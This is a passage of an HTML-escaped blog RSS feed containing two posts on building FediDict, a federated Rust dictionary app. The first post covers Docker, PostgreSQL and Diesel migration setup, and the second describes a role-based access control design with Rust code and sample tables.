style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[dependencies]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;serde = &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;1&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;serde_derive = &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;1&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;serde_json = &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;1&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;diesel = { version =&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;1&amp;#34;&lt;/span&gt;, features = [&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;postgres&amp;#34;&lt;/span&gt;] }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;dotenv = &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;0.13&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;chrono = &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;0.4&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;installing-postgresql&#34;&gt;Installing PostgreSQL&lt;/h2&gt;&#xA;&lt;p&gt;I&amp;rsquo;m going to use Docker to handle the database.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker create -p 127.0.0.1:5432:5432 &lt;span style=&#34;color:#00f&#34;&gt;\&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    --name fedidict-db &lt;span style=&#34;color:#00f&#34;&gt;\&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    -e POSTGRES_PASSWORD=&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;password&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#00f&#34;&gt;\&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    -t postgres:alpine&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker start fedidict-db&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And, in a file called &lt;code&gt;.env&lt;/code&gt; in the project folder, I&amp;rsquo;ll make an environment variable:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;DATABASE_URL=&amp;#34;postgresql://postgres:password@localhost/fedidict&amp;#34;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;and then run &lt;code&gt;source .env&lt;/code&gt; to get this variable in my shell.&lt;/p&gt;&#xA;&lt;p&gt;Now I can use Diesel to set up the database. This creates both the database and a&#xA;directory to hold SQL files for database setup.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;diesel setup&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;heading-north&#34;&gt;Heading North&lt;/h2&gt;&#xA;&lt;p&gt;Diesel&amp;rsquo;s CLI tool helps manage database state, and in fact I&amp;rsquo;ll use it to create the&#xA;database to begin with.&lt;/p&gt;&#xA;&lt;p&gt;I&amp;rsquo;ll add a new &lt;strong&gt;migration&lt;/strong&gt; using &lt;code&gt;diesel_cli&lt;/code&gt; and put some SQL code in it telling&#xA;Diesel how to set up (and tear down) the database. This is the only SQL I expect to write,&#xA;since Diesel will handle interaction with the database in most cases.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ diesel migration generate initial_schema&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Creating migrations/2018-09-10-170446_initial_schema/up.sql&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Creating migrations/2018-09-10-170446_initial_schema/down.sql&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In Diesel, migrations go both &amp;ldquo;up&amp;rdquo; and &amp;ldquo;down&amp;rdquo;; up migrations add new functionality, while&#xA;down migrations remove that functionality.&lt;/p&gt;&#xA;&lt;p&gt;The up migration is the combination of the SQL I&amp;rsquo;ve written so far in the post, but the&#xA;order is important; tables must be created in dependency order. For instance, Approvals&#xA;must be created before Definitions because Definitions has a foreign key that points&#xA;to Approvals.&lt;/p&gt;&#xA;&lt;p&gt;The order I decided on is PartsOfSpeech, FederationPartners, Roles, Users, Approvals,&#xA;Definitions.&lt;/p&gt;&#xA;&lt;p&gt;The down migration is much simpler. I simply drop all the tables I created in tue up&#xA;migration.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;DROP&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;TABLE&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Roles,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Definitions,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Approvals,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;PartsOfSpeech,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Users,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;FederationPartners;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;It&amp;rsquo;s good practice to test migrations by running them and then rerunning them.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ diesel migration run                                   &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Running migration 2018-09-10-170446_initial_schema&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ diesel migration redo &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Rolling back migration 2018-09-10-170446_initial_schema&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Running migration 2018-09-10-170446_initial_schema&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This verifies that the down migration at least doesn&amp;rsquo;t leave anything obvious hanging&#xA;around.&lt;/p&gt;&#xA;&lt;p&gt;After running this migration, two new files will show up: &lt;code&gt;diesel.toml&lt;/code&gt;, Diesel&amp;rsquo;s config&#xA;file, and &lt;code&gt;src/schema.rs&lt;/code&gt;, the Rust mapping of the database schema.&lt;/p&gt;&#xA;&lt;p&gt;That&amp;rsquo;s it - the database is set up. In the next post, I&amp;rsquo;ll discuss how I map these&#xA;data structures into Rust, how I test them, and what behavior I need to set up for them.&lt;/p&gt;&#xA;</content:encoded>
    </item>
    <item>
      <title>FediDict UX Design, Part 2</title>
      <link>https://nora.codes/post/fedidict_ux_design_part_2/</link>
      <pubDate>Sun, 02 Sep 2018 00:00:00 +0000</pubDate>
      <guid>https://nora.codes/post/fedidict_ux_design_part_2/</guid>
      <description>&lt;p&gt;&lt;em&gt;This is the second of several posts on the design of my current ActivityPub-enabled&#xA;Rust web application, FediDict. Each of these posts was be released to my Patreon&#xA;patrons before being made publicly available. I recommend that you read the &lt;a href=&#34;./post/fedidict_ux_design_part_1&#34;&gt;first&#xA;UX design post&lt;/a&gt; first.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Any software that accepts input over the network will, eventually, be subject to&#xA;attack, of some kind. Any federated software service must accept input over the network -&#xA;that&amp;rsquo;s the whole point. In the case of FediDict, these attacks could come from either the&#xA;user-facing side or the federation-facing, or server-to-server, side.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;em&gt;This is the second of several posts on the design of my current ActivityPub-enabled&#xA;Rust web application, FediDict. Each of these posts was be released to my Patreon&#xA;patrons before being made publicly available. I recommend that you read the &lt;a href=&#34;./post/fedidict_ux_design_part_1&#34;&gt;first&#xA;UX design post&lt;/a&gt; first.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Any software that accepts input over the network will, eventually, be subject to&#xA;attack, of some kind. Any federated software service must accept input over the network -&#xA;that&amp;rsquo;s the whole point. In the case of FediDict, these attacks could come from either the&#xA;user-facing side or the federation-facing, or server-to-server, side.&lt;/p&gt;&#xA;&lt;p&gt;Either way, some of the technology choices I&amp;rsquo;ve made will help FediDict withstand attack,&#xA;and in this post, I&amp;rsquo;ll explore how a solid access control model can help secure a system&#xA;while still enabling rich control by administrators and a good user experience.&lt;/p&gt;&#xA;&lt;h1 id=&#34;inherent-sturdiness&#34;&gt;Inherent Sturdiness&lt;/h1&gt;&#xA;&lt;p&gt;FediDict is built in Rust, a language that promises memory safety for all programs written&#xA;without the &lt;code&gt;unsafe&lt;/code&gt; keyword. This eliminates (or, at least, mitigates to the point of&#xA;insignificance) the majority of common memory-based attacks, like buffer overruns,&#xA;use-after-free bugs, double-free bugs, and other such issues.&lt;/p&gt;&#xA;&lt;p&gt;I&amp;rsquo;m also using a proven database system, though I&amp;rsquo;m not sure if PostgreSQL or MariaDB will&#xA;be my final choice yet. Either one has a track record of high security, and FediDict will&#xA;interface with them using Diesel, an object-relational mapping library which uses static&#xA;analysis to ensure that certain types of database errors and bugs (like SQL injection) are&#xA;not possible.&lt;/p&gt;&#xA;&lt;h1 id=&#34;access-control&#34;&gt;Access Control&lt;/h1&gt;&#xA;&lt;p&gt;Nonetheless, bugs exist in any piece of software, and application-level bugs are often far&#xA;more impactful than are those in underlying code, precisely because they are so hard to&#xA;predict and expose precisely what the attacker wants - the data held in the application.&lt;/p&gt;&#xA;&lt;p&gt;One of the best ways to mitigate application-level bugs is to have a consistent (and&#xA;consistently enforced) access control model. Rust&amp;rsquo;s type system helps me here.&lt;/p&gt;&#xA;&lt;h2 id=&#34;a-pyramid-model&#34;&gt;A Pyramid Model&lt;/h2&gt;&#xA;&lt;p&gt;A dictionary produced by a small team of professionals is an easy thing to secure, but a&#xA;crowdsourced (or, a semi-crowdsourced) one is not. In FediDict, I&amp;rsquo;ll have a few basic&#xA;levels of access:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The Guest. A guest has absolutely no write access, at all, but they have read access&#xA;to most things. I&amp;rsquo;ll define exactly what later.&lt;/li&gt;&#xA;&lt;li&gt;The Contributor. A contributor has all the privelages a Guest has, as well as write&#xA;access to the moderation queue (but, you&amp;rsquo;ll note, not to the site directly), and to&#xA;the vote count of existing definitions, and to the report queue.&lt;/li&gt;&#xA;&lt;li&gt;The Moderator. A moderator has all the privelages a Contributor has, as well as being&#xA;able to read the moderation queue and write from the moderation queue to the public&#xA;database of definitions.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;This is a tidy and convenient pyramid of access. Each level builds on the last, each group&#xA;is smaller than the last, and all these privelages can be enforced with simple conditions,&#xA;even at the database level.&lt;/p&gt;&#xA;&lt;p&gt;Access becomes slightly more complex when I bring federated users into the mix. Because&#xA;ActivityPub supports &amp;ldquo;liking&amp;rdquo; posts remotely, and I wish to support this as well, some&#xA;people can write to the vote count of definitions without being Contributors.&lt;/p&gt;&#xA;&lt;h2 id=&#34;roles-not-tiers&#34;&gt;Roles, not Tiers&lt;/h2&gt;&#xA;&lt;p&gt;This would appear to pose a problem, but in fact, it&amp;rsquo;s easy to solve with a concept known&#xA;as Role Based Access Control, or RBAC. RBAC is a technique used by many complex systems,&#xA;including &lt;a href=&#34;https://aws.amazon.com/iam/&#34;&gt;Amazon Web Services&lt;/a&gt; and &lt;a href=&#34;https://cloud.google.com/iam/&#34;&gt;Google Cloud&lt;/a&gt;,&#xA;but is applicable to simpler systems as well.&lt;/p&gt;&#xA;&lt;p&gt;With RBAC, I&amp;rsquo;ll define a set of roles and assign those roles to users based on various&#xA;factors. Then, when a user attempts to perform an action, FediDict will check for these&#xA;roles. For instance, the roles could be:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;DefinitionReader&lt;/strong&gt;: can access the public database of definitions.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;DefinitionSubmitter&lt;/strong&gt;: can submit new definitions to the moderation queue.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;DefinitionEvaluator&lt;/strong&gt;: can submit likes and reports for definitions.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;DefinitionRemover&lt;/strong&gt;: can remove definitions from the public database.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;QueueReader&lt;/strong&gt;: can read definitions submitted to the moderation queue.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;QueueApprover&lt;/strong&gt;: can move definitions from the moderation queue to the public database.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;QueueRejecter&lt;/strong&gt;: can remove definitions from the moderation queue.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;AccountCreator&lt;/strong&gt;: can create new local FediDict accounts.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;AccountRemover&lt;/strong&gt;: can remove local FediDict accounts.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;AccountRoleAssigner&lt;/strong&gt;: can assign and remove roles on accounts.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;I could use these roles in Rust through an &lt;code&gt;enum&lt;/code&gt;. I&amp;rsquo;m not sure just how it will look,&#xA;but for example:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;impl&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Definition&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// ... other code for definitions&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;/// approve() sets a definition as approved, by the authority of the&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;/// given user.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;fn&lt;/span&gt; approve(self,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;authority: &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;amp;&lt;/span&gt;User)&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;-&amp;gt; Result&amp;lt;Definition,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Error&amp;gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;if&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;authority.has_role(Roles::QueueApprover)&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;mut&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;new&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;self;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;new.approved_by&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Some(authority.id);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;return&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Ok(new);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;else&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;return&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Err(Error::PermissionDenied(&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;                        &lt;/span&gt;Roles::QueueApprover,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;                        &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;approve a definition from the moderation queue&amp;#34;&lt;/span&gt;);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This could then be used in a pipeline. For instance:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// Assume I have user, the current user, and def, a definition, from elsewhere&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// in the code.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;def.approve(&amp;amp;user)?.commit()?;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In the case of an error, the information given is enough to render a message like:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Error: Permission denied. In order to approve a definition from the moderation queue,&#xA;you need the QueueApprover role, which you do not have. Contact an administrator for&#xA;assistance.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;h2 id=&#34;more-flexibility-without-much-complexity&#34;&gt;More Flexibility Without (Much) Complexity&lt;/h2&gt;&#xA;&lt;p&gt;I can still model tiers with these roles. A Guest has only the &lt;strong&gt;DefinitionReader&lt;/strong&gt;&#xA;role, while a Contributor has &lt;strong&gt;DefinitionReader&lt;/strong&gt;, &lt;strong&gt;DefinitionSubmitter&lt;/strong&gt;, and&#xA;&lt;strong&gt;DefinitionEvaluator&lt;/strong&gt;. A Moderator has all of those roles, in addition to&#xA;&lt;strong&gt;QueueReader&lt;/strong&gt;, &lt;strong&gt;QueueApprover&lt;/strong&gt;, and &lt;strong&gt;QueueRejecter&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I can also construct other types of user from these roles. For instance, a site admin&#xA;needs &lt;strong&gt;AccountCreator&lt;/strong&gt;, &lt;strong&gt;AccountRemover&lt;/strong&gt;, and &lt;strong&gt;AccountRoleAssigner&lt;/strong&gt;, but&#xA;could delegate account creation to others by giving them only &lt;strong&gt;AccountCreator&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Someone the organization trusts to remove spam but not to fully evaluate the validity of&#xA;new definitions could have &lt;strong&gt;QueueReader&lt;/strong&gt; and &lt;strong&gt;QueueRejecter&lt;/strong&gt; but &lt;em&gt;not&lt;/em&gt;&#xA;&lt;strong&gt;QueueApprover&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;A user interacting over ActivityPub can like and report as well as viewing the database,&#xA;so they would get &lt;strong&gt;DefinitionReader&lt;/strong&gt; and &lt;strong&gt;DefinitionEvaluator&lt;/strong&gt;, but not any other&#xA;roles.&lt;/p&gt;&#xA;&lt;p&gt;With roles, I get the security provided by a solid tiered model with a flexibility that&#xA;a tiered model can never provide.&lt;/p&gt;&#xA;&lt;h2 id=&#34;implementing-roles&#34;&gt;Implementing Roles&lt;/h2&gt;&#xA;&lt;p&gt;This might seem like a difficult technique to implement, but actually, it&amp;rsquo;s very natural,&#xA;especially using the combination of Rust&amp;rsquo;s expressive type system and a powerful RBDMS&#xA;like PostgreSQL.&lt;/p&gt;&#xA;&lt;p&gt;Each user will have a database record in the Users table with an associated ID.&#xA;That record will specify their user name, e-mail address, (hashed) password, and any&#xA;other information, including the ID of a row in the Roles table.&lt;/p&gt;&#xA;&lt;p&gt;The Roles table will associate user IDs with a set of roles. Each role can be on, off,&#xA;or none. This maps naturally to a nullable Boolean value in SQL, or to an &lt;code&gt;Option&amp;lt;bool&amp;gt;&lt;/code&gt;&#xA;in Rust.&lt;/p&gt;&#xA;&lt;p&gt;Say, for instance, ther are three users, an admin, a moderator, and a contributor.&#xA;The users table might hold three records, like so:&lt;/p&gt;&#xA;&lt;table&gt;&#xA;  &lt;thead&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;th&gt;ID&lt;/th&gt;&#xA;          &lt;th&gt;Username&lt;/th&gt;&#xA;          &lt;th&gt;email&lt;/th&gt;&#xA;          &lt;th&gt;password&lt;/th&gt;&#xA;          &lt;th&gt;roles&lt;/th&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/thead&gt;&#xA;  &lt;tbody&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;12&lt;/td&gt;&#xA;          &lt;td&gt;ltindall&lt;/td&gt;&#xA;          &lt;td&gt;&lt;a href=&#34;mailto:a@b.c&#34;&gt;a@b.c&lt;/a&gt;&lt;/td&gt;&#xA;          &lt;td&gt;d7239dhs&lt;/td&gt;&#xA;          &lt;td&gt;02358&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;87&lt;/td&gt;&#xA;          &lt;td&gt;chughes&lt;/td&gt;&#xA;          &lt;td&gt;&lt;a href=&#34;mailto:c@x.y&#34;&gt;c@x.y&lt;/a&gt;&lt;/td&gt;&#xA;          &lt;td&gt;a2342nb0&lt;/td&gt;&#xA;          &lt;td&gt;83950&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;34&lt;/td&gt;&#xA;          &lt;td&gt;djanes&lt;/td&gt;&#xA;          &lt;td&gt;&lt;a href=&#34;mailto:q@m.z&#34;&gt;q@m.z&lt;/a&gt;&lt;/td&gt;&#xA;          &lt;td&gt;passw0rd&lt;/td&gt;&#xA;          &lt;td&gt;22741&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;p&gt;And, the Roles table would have some associated records:&lt;/p&gt;&#xA;&lt;table&gt;&#xA;  &lt;thead&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;th&gt;ID&lt;/th&gt;&#xA;          &lt;th&gt;definition-reader&lt;/th&gt;&#xA;          &lt;th&gt;definition-submitter&lt;/th&gt;&#xA;          &lt;th&gt;queue-reader&lt;/th&gt;&#xA;          &lt;th&gt;queue-approver&lt;/th&gt;&#xA;          &lt;th&gt;account-creator&lt;/th&gt;&#xA;      &lt;/tr&gt;&#xA;  